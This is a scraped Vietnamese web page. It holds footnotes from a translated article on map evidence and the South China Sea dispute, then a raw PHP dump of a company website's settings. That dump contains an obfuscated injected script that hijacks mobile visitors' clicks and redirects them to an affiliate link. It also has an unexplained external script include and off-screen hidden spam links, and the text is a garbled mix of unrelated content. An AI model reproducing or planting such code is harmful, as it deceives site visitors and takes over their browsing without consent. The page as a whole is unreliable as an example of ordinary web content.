‘‘La théorie des preuves devant les juridictions internationales’’ (1936) 56 Collected Courses of the Hague Academy of International Law 1 at 66: ‘‘la valeur scientifique de la méthode ayant présidé´à leur établissement’’; Abou-el-Wafa, supra note 37 at 431.</div> <div> </div> <div> [100] Ian BROWNLIE, African Boundaries: A Legal and Diplomatic Encyclopaedia (London: Royal Institute of International Affairs, 1979) at 5.</div> <div> </div> <div> [101] Cukwurah, supra note 84 at 217–20.</div> <div> </div> <div> [102] Island of Palmas, supra note 80 at 853. Cited in Dubai/Sharjah Border Arbitration, supra note 88 at 630, para. 168. Xem thêm Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075, para. 3.19, nêu: Ủy ban cũng lưu ý rằng các bản đồ, dù thông tin nó cung cấp nhiều như thế nào, không nhất thiết thể hiện chính xác, khách quan thực tế trên mặt đất’</div> <div> </div> <div> [103] Frontier Dispute, supra note 57 at 582–3, para. 55. Xem thêm Beagle Channel, supra note 100 at 174, para. 154, nêu: “Vì thếTòa án bắt buộc đi đến kết luận rằng bản đồ củaPelliza có tính chất quá không chắc chắn để có giá trị chứng minh đòi hỏi”; Request for Interpretation of the Judgment of 15 June 1962 in the Case concerning the Temple of Preah Vihear (Cambodia v. Thailand), Order of 18 July 2011, Dissenting Opinion of Judge ad hoc Cot, [2011] I.C.J. Rep. 1 at 4, para. 21–2 (tuyên bố quyết định của Toà xác định một khu vực phi quân sự tạm thời là “thiếu thận trọng”dưới ánh sáng của tài liệu bản đồ mà ông cho là hạn chế và không đủ đáng tin cậy theo quan điểm kỹ thuật).</div> <div> </div> <div> [104] Legal Consequences of the Construction of a Wall in the Occupied Palestinian Territory, Advisory Opinion, [2004] I.C.J. Rep. 136 at 168, para. 80. Về việc ICJ chấp nhận ảnh vệ tinh trong các vụ tranh chấp, xem Jana K. HETTLING, ‘‘The Use of Remote Sensing Satellites for Verification in International Law’’ (2003) 19 Space Policy 33 at 38, nghiên cứu sâu hơn của cùng tác giả trong Satellite Imagery for Verification and Enforcement of Public International Law (Cologne: Heymann, 2008) at 157–65.</div> <div> </div> <div> [105] Dzurek, supra note 3 at 12; Zou, supra note 5 at 51.</div> <div> </div> <div> [106] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [107] Xem chẳng hạn bản đồ TQ 1951, supra note 89. Không những một số lượng các vạch chỉ biến đi (ibid.) mà vị trí của những vạch biểu hiện trên rằng bản đồ đó với tỉ lệ 1:23.500.000 rõ ràng là sai biệt với những vạch thấy trong Phụ lục I: ba vạch đầu tiên rõ ràng là thấy được, nhưng vạch đầu tiên nằm theo hướng tây bắc nhiều hơn, vạch thứ hai ở hướng tây nam, và vạch thứ ba theo hướng phía bắc khi so sánh với bản đồ Phụ lục I.</div> <div> </div> <div> [108] Land, Island and Maritime Frontier Dispute (El Salvador/Honduras: Nicaragua Intervening), [1992] I.C.J. Rep. 350 at 550, para. 315. Xem thêm Kasikili/Sedudu Island, supra note 58, Dissenting Opinion of Vice-President Weeramantry at 1176, para. 73:</div> <div> Bản đồ dĩ nhiên có thể mang các mức độ trọng lượng khác nhau tùy thuộc vào tác giả và hoàn cảnh trong đó chúng được làm ra. Hơn nữa, tỉ lệ của các bản đồ thường là quá nhỏ không hiển thị rõ ràng các khu vực cụ thể đang là chủ đề của tranh chấp, trong khi các bản đồ khác đủ lớn có thể chỉ ra các khu vực tranh chấp đầy đủ chi tiết.</div> <div> </div> <div> [109] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1089, para. 4.67. Earlier on in that case (at 1076, para. 3.21), Ủy ban cũng nêu: “một bản đồ ... với tỉ lệ quá nhỏ đến nỗi việc nhập vào sẽ trở thành một vấn đề phải suy xét hơn là sự quan sát chính xác, khó có thể có giá trị pháp lý hay bằng chứng cao.” Xem thêm Case Concerning the Location of Boundary Markers in Taba (Egypt/Israel), Decision of 29 September 1988, [2006] XX Reports of International Arbitral Awards 1 at 48, para. 184:</div> <div> Tòa án không xem xét các chỉ dẫn dựa trên bản đồ là thuyết phục vì tỉ lệ của bản đồ (1:100,000) là quá nhỏ để thể hiện một vị trí trên mặt đất chính xác theo yêu cầu trong những trường hợp này, trong đó khoảng cách giữa các vị trí trụ cột tranh chấp đôi khichỉ một vài mét.</div> <div> Dispute Concerning the Course of the Frontier Between BP 62 and Mount Fitzroy (‘‘Laguna del Desierto’’) (Argentina/Chile), Resolution of 13 October 1995, [1999] 113 International Law Reports 1 at 224:</div> <div> Ngay từ đầu, một số quan sát được lưu ý đến về các bản đồ tỉ lệ 1/10.000 do Chile đệ trình. Những bản đồ này được vẽ với một tỉ lệ lớn hơn đáng kể hơn so với bản đồ của Ủy ban Ranh giới hỗn hợp hoặc những bản đồ kèm theo đệ trình yêu sách chủ quyền của Chile ngày 31 tháng năm 1995, cung cấp một biểu diễn chính xác về địa hình thực sự của mặt đất</div> <div> </div> <div> [110] Maurice KAMTO, ‘‘Sur quelques questions techniques liées à la détermination du tracé d’une frontière maritime de´limitée’’ in Rafael CASADO RAIGON and Giuseppe CATALDI, eds., L’évolution et l’état actuel du droit international de la mer. Mélanges de droit de la mer offerts à Daniel Vignes (Brussels: Bruylant, 2009), 481 at 493–6, tác giả đưa ra một tường trình chi tiết về những khó khăn nghiêm trọng mà Cameroon và Nigeria gặp phải sau đó do sự kiện rằng trong đánh giá của mình ICJ đã dựa trên một biểu đồ Hải quân Anh không chứa bất kỳ chỉ dẫn của mốc đo lường được dùng.</div> <div> </div> <div> [111] Beagle Channel, supra note 100 at 164, para. 137. See also John G. MERRILLS, ‘‘The International Court of Justice and the Adjudication of Territorial and Boundary Disputes’’ (2000) 13 Leiden Journal of International Law 873 at 875, nêu: “về các vấn đề ranh giới và lãnh thổ các bản đồ có khả năng cung cấp bằng chứng về tình hình trên mặt đất và thái độ của các nước có liên quan đối với nó’’; Henry DARWIN, ‘‘Judicial Settlement’’ in Evan LUARD, ed., The International Regulation of Frontier Disputes (London: Thames & Hudson, 1970), 198 at 207–8.</div> <div> </div> <div> [112] Temple of Preah Vihear (Cambodia v. Thailand), [1962] I.C.J. Reports 6 at 23.</div> <div> </div> <div> [113] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075–6, para. 3.22. Một cách tượng tự Uỷ ban nhận thấy rằng (at 1076, para. 3.21):</div> <div> Tuy nhiên, một bản đồ do một cơ quan chính phủ của một bên vẽ ra, trên một tỉ lệ đủ để cho phép miêu tả của khu vực biên giới tranh chấp là nhận biết được, thường có sẵn để mua hoặc kiểm tra, dù tại nước xuất xứ hoặc ở nơi khác, và bên bị ảnh hưởng bất lợi hành động dựa trên nó, hoặc không phản ứng đối với nó, có thể được dự kiến là sẽ có hậu quả pháp lý quan trọng.</div> <div> </div> <div> [114] Nicaragua v. Honduras, supra note 58 at 735, para. 253.</div> <div> </div> <div> [115] Strupp, supra note 63 at 17.</div> <div> </div> <div> [116] Ibid., at 17, note 98.</div> <div> </div> <div> [117] Yehuda Z. BLUM, Historic Titles in International Law (The Hague: Nijhoff, 1965) at 150.</div> <div> </div> <div> [118] Li and Li, supra note 4 at 290. See also ‘‘Carps Among the Spratlys’’ The Economist (10 March 2011), online: The Economist http://www.economist.com/node/18332702?story_id518332702, stating: ‘‘TQ chỉ vào một bản đồ dùng từ thời THDQ công bố trong cuộc nội chiến những năm 1940 và nói rằng cho tới gần đây không ai quan tâm (mided).”</div> <div> </div> <div> [119] Zhao, supra note 33 at 22, được dịch lại trong Li and Li, supra note 4 at 292.</div> <div> </div> <div> [120] Như lập luận trong bài viết do Nguyễn Hồng Thao trình bày tại Hội thảo quốc tế lần hai, nhan đề là ‘‘The South China Sea: Cooperation for Regional Security and Development’’, tổ chức vào 10–12 /12/ 2010 tại tp Ho Chi Minh, Vietnam: ‘‘South China Sea—Three Stages, Four Challenges, Two Regional Approaches and One Confidence’’ at 12–13. On file with the authors.</div> <div> </div> <div> [121] UN, ‘‘Vietnam: Dispute Regarding the Law on the Exclusive Economic Zone and the Continental Shelf of the People’s Republic of China which was Passed on 26 June 1998’’ (1998) 38 Law of the Sea Bulletin 54 at 55.</div> <div> </div> <div> [122] Vietnam, ‘‘Letter to the Secretary-General of the United Nations—86/HC-2009’’ (8 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm_re_chn_2009re_vnm.pdf.</div> <div> </div> <div> [123] Vietnam, ‘‘Viet Nam Request the Chinese Side to Remove from SBSM Map Service All Data and Information that Violate Viet Nam’s Sovereignty’’ (5 November 2010), online: Ministry of Foreign Affairs http://www.mofa.gov.vn; Vietnam, ‘‘Viet Nam Asks China to Remove Wrongful Data in Its SBSM Map Service’’ (26 January 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn.</div> <div> </div> <div> [124] Vietnam, ‘‘Foreign Ministry Spokesperson Nguyen Phuong Nga Answers Question from the Media at the Press Conference on June 9th 2011 Concerning the Viking II Incident’’ (9 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu ‘”những hành vi có hệ thống của phía TQ nhằm tranh chấp một khu vực không có tranh chấp với mục tiêu hiện thực hoá yêu sách ‘đường 9 chấm’ [sic], một mục tiêu không thể chấp nhận đối với Việt Nam”; Vietnam, ‘‘Press Conference on Chinese Maritime Surveillance Vessel’s cutting exploration cable of PetroViet Nam Seismic Vessel’’ (1 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu “Đường chín vạch của TQ ở Biển Đông, còn gọi là ‘đường lưỡi bò’ là hoàn toàn không có căn cứ hợp pháp và trái với Công ước Liên Hợp Quốc năm 1982 về Luật biển mà Trung Quốc là một thành viên. Yêu sách chủ quyền này xâm phạm vùng đặc quyền kinh tế và thềm lục địa của nhiều nước trong khu vực, trong đó có Việt Nam, và do đó nhiều quốc gia bác bỏ. TQ cố gắng để thực hiện tuyên bố này thực tế làm căng thẳng tăng lên trong khu vực.”</div> <div> </div> <div> [125] Meeting of States Parties to the 1982 United Nations Convention on the Law of the Sea, ‘‘Twenty-First Meeting’’ (13–17 June 2011), online: UN Office of Legal Affairs, Division for Ocean Affairs and the Law of the Sea http://www.un.org/Depts/los/meeting_states_parties/twentyfirstmeetingstates parties.htm (as further substantiated by participants in that meeting).</div> <div> </div> <div> [126] . Pensions of Officials of the Saar Territory (Germany, Governing Commission of the Saar Territory), Award of 4 September 1934, [2006] III Reports of International Arbitral Awards 1553 at 1567, nêu: “quyền phản đối của Chính phủ đó chỉ có được vào lúc này khi họ biết về các sự kiện đó”; Fisheries Case, supra note 66 at 139; Nuno Sérgio MARQUES ANTUNES, ‘‘Acquiescence’’ in Wolfrum, ed., supra note 34, 4, para. 21; D.H.N. JOHNSON, ‘‘Acquisitive Prescription in International Law’’ (1950) 27 British Yearbook of International Law 332 at 347, nêu: “nếu không biết thì không thể có sực mặc nhận nào cả”; Jean BARALE, ‘‘L’acquiescement dans la jurisprudence internationale’’ (1965) 11 Annuaire franc¸ais de droit international 389 at 400: ‘‘việc mặc nhận chỉ có thể liên quan đến một tình huống đã được biết đến với nước mặc nhận’, and 401–4; I.C. MACGIBBON, ‘‘The Scope of Acquiescence in International Law’’ (1954) 31 British Yearbook of International Law 143 at 173, nêu: “mệnh đề cho rằng việc sở hữu trên đó quyền sở hữu bằng cách dựa vào thời hiệu (prescription) phải thoả yêu cầu của trạng thái rõ ràng (notoriety) là hiếm khi đáng ngờ”, and 174–6.</div> <div> </div> <div> [127] Barale, supra note 129 at 404–6.</div> <div> </div> <div> [128] Martti KOSKENNIEMI, ‘‘L’affaire du passage par le Grand-Belt’’ (1992) 38 Annuaire français de droit international 905 at 931; Fisheries Case, supra note 66 at 138; Right of Passage over Indian Territory (Portugal v. India), [1960] I.C.J. Rep. 6 at 40. Xem thêm Land, Island and Maritime Frontier Dispute, supra note 111 at 577, para. 364.</div> <div> </div> <div> [129] Fisheries Case, supra note 66 at 138; Chamizal Case (Mexico v. United States), Award of 15 June 1911, [2006] XI Reports of International Arbitral Awards 309 at 329.</div> <div> </div> <div> [130] E.g. Hyung K. LEE, ‘‘Mapping the Law of Legalizing Maps: The Implications of the Emerging Rule on Map Evidence in International Law’’ (2005) 14 Pacific Rim Law and Policy Journal 159 at 159–75, 188; Abou-el-Wafa, supra note 37 at 438–9.</div> <div> </div> <div> [131] Abou-el-Wafa, supra note 37 at 128–9.</div> <div> </div> <div> [132] Xem generally Sam BATEMAN and Ralf EMMERS, eds., Security and International Politics in the South China Sea: Towards a Cooperative Management Regime (Abingdon: Routledge, 2009).</div> <div> </div> <div> [133] . Đối với một tổng quan về các phương pháp hội thảo và thành công của nó, xem SONG Yann-Huei, ‘‘The South China Sea Workshop Process and Taiwan’s Participation’’ (2010) 41 Ocean Development and International Law 253 at 256–60.</div> <div> </div> <div> [134] Xem chẳng hạn. Aldo CHIRCOP, ‘‘Regional Cooperation in Marine Environmental Protection in the South China Sea: A Reflection on New Directions for Marine Conservation’’ (2010) 41 Ocean Development and International Law 334; John W. MCMANUS, SHAO Kwang-Tsao, and LIN Szu-Yin, ‘‘Toward Establishing a Spratly Islands International Marine Peace Park: Ecological Importance and Supportive Collaborative Activities with an Emphasis on the Role of Taiwan’’ (2010) 41 Ocean Development and International Law 270; TUAN Vo Si and John PERNETTA, ‘‘The UNEP/GEF South China Sea Project: Lessons Learnt in Regional Cooperation’’ (2010) 53 Ocean and Coastal Management 589 SONG Yann-Huei, ‘‘AMarine Biodiversity Project in the South China Sea: Joint Efforts Made in the SCS Workshop Process’’ (2011) 26 International Journal of Marine and Coastal Law 119.</div> <div> </div> <div> [135] Robert C. BECKMAN, ‘‘Joint Development of Hydrocarbon Resources in the South China Sea: International Legal Framework’’ (16–17 June 2011), online: National University of Singapore—Centre for International Law http://cil.nus.edu.sg/wp/wp-content/uploads/2011/06/Session-2-Beckman- Session-2-CIL-JD-SCS-pdf.pdf. Xem chẳng hạn. Memorandum of Understanding between Malaysia and the Socialist Republic of Vietnam for the Exploration and Exploitation of Petroleum in a Defined Area of the Continental Shelf Involving the Two Countries, 5 June 1992 (entered into force 4 June 1993), online: NUS-CIL http://cil.nus.edu.sg/1992/1992-memorandum-of-understanding-between-malaysia-and-thesocialist- republic-of-vietnam-for-the-exploration-and-exploitation-of-petroleum-in-a-defined-area-of-thecontinental- shelf-involving-the-two-c/.</div> ', 'images' => '20160621064535a247e33589ec59fdaf79061d7d9daa4f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-19', 'status' => '1', 'view' => '47027', 'slug' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '725', 'rght' => '726', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $setting = array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ) $description_for_layout = '' $keywords_for_layout = '' $tintucnoibat = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 